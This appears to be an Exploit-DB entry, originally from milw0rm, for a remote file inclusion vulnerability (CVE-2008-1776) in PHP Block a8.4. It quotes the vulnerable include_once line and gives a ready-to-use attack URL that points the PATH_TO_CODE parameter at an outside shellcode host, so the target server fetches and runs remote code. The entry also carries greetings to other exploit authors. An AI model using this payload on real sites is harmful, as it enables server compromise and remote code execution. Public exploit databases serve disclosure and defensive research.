Exploit PhpBlock a8.4 - 'PATH_TO_CODE' Remote File Inclusion

[Exploiter]

EDB-ID

5348

Проверка EDB

1. Пройдено

Автор

W0CKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-1776

Дата публикации

2008-04-02

Script Name : PHP Block a8.4
 
Download : http://sourceforge.net/project/downloading.php?group_id=186381&use_mirror=surfnet&filename=a8.4.zip&73507325
 
Error : include_once $PATH_TO_CODE."/script/fonction.php";
 
Vul Code : http://[site]/[Path]/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=http://[ShellCode]
 
Greetz : Kezzap66345 - Str0ke - Dread 35

# milw0rm.com [2008-04-02]